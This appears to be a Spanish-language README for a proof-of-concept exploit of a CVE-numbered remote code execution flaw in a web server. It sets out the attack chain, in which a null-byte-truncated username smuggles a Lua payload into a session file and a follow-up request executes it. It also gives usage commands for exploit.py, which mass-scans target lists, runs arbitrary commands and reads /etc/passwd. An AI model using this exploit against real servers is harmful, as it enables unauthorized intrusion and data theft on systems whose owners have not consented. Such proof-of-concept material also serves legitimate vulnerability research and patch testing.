1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. El servidor autentica "anonymous" (truncado en el byte nulo)
   pero escribe el payload completo en el archivo de sesión → devuelve cookie UID

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   El servidor carga el archivo de sesión → ejecuta Lua inyectado → RCE

git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

python3 exploit.py -u http://TARGET

python3 exploit.py -u http://TARGET -c 'id'

python3 exploit.py -f targets.txt -o vulnerable.txt -t 8

usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           URL del objetivo único (ej. http://192.168.134.130)
  -f, --file FILE         Archivo que contiene URLs de objetivos (uno por línea, se permiten comentarios #)

exploit options:
  -c, --command COMMAND   Comando a ejecutar en el servidor remoto (activa salida verbose)
  -U, --username USERNAME Usuario para el payload del exploit (por defecto: anonymous)
  -P, --password PASSWORD Contraseña para el payload del exploit (por defecto: vacía)

output:
  -v, --verbose           Activar registro verbose / debug
  -o, --output OUTPUT     Guardar URLs vulnerables en este archivo
  -l, --log-file LOG_FILE Escribir registro detallado en este archivo

network:
  -t, --threads THREADS   Hilos concurrentes para escaneos multi-objetivo (por defecto: 1)
  --timeout TIMEOUT       Tiempo de espera de solicitud HTTP en segundos (por defecto: 15)
  --retries RETRIES       Número de reintentos en fallo de conexión (por defecto: 2)
  --no-verify             Deshabilitar verificación de certificado SSL

# Verificar un objetivo único
python3 exploit.py -u http://192.168.1.10

# Ejecutar 'whoami' y ver la salida completa
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# Escanear una lista con 8 hilos, registrar todo en un archivo
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt

# Usar credenciales personalizadas con verificación SSL deshabilitada
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# Modo verbose para depuración
python3 exploit.py -u http://192.168.1.10 -v